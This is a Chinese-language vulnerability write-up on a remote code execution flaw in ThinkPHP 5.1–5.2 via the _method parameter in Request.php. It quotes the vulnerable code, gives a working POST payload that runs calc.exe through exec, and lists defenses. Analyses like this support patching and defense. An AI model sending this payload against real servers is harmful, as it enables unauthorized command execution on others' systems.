Thinkphp5.1 ~ 5.2 全版本代码执行
字数 766 2025-08-29 08:31:47
ThinkPHP 5.1 ~ 5.2 全版本代码执行漏洞分析
漏洞概述
ThinkPHP 5.1 至 5.2 全版本在生产环境下存在代码执行漏洞,攻击者可以通过精心构造的请求实现任意代码执行。
漏洞位置
漏洞位于 thinkphp/library/think/Request.php 文件中的 method() 方法。
漏洞分析
关键代码
public function method($origin = false) {
if ($origin) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
漏洞原理
- 当
$origin为 false 且$this->method为空时,会检查$_POST[$this->config['var_method']]是否存在 $this->config['var_method']默认值为_method- 攻击者可以通过 POST 参数
_method控制$this->method的值 - 然后通过
$method = strtolower($this->method)和$this->{$method} = $_POST实现变量覆盖
漏洞利用
变量覆盖
通过构造特殊的 _method 参数,可以覆盖 $filter 属性值:
c=exec&f=calc.exe&&_method=filter&
实际利用条件
- 默认情况下会爆出警告级别的异常,导致程序终止
- 如果项目配置中设置了忽略异常提示(这是生产环境的常见配置),则可以利用成功
Payload示例
POST请求内容:
_method=filter&c=exec&f=calc.exe
这个payload会尝试执行系统命令,弹出计算器程序。
防御措施
- 升级到官方修复版本
- 对
_method参数进行严格过滤 - 避免在生产环境中完全关闭错误提示
- 对输入参数进行严格过滤和验证
总结
该漏洞利用ThinkPHP框架中Request类的变量覆盖特性,通过精心构造的POST请求实现任意代码执行。由于生产环境通常会关闭错误提示,使得该漏洞在实际环境中更容易被利用。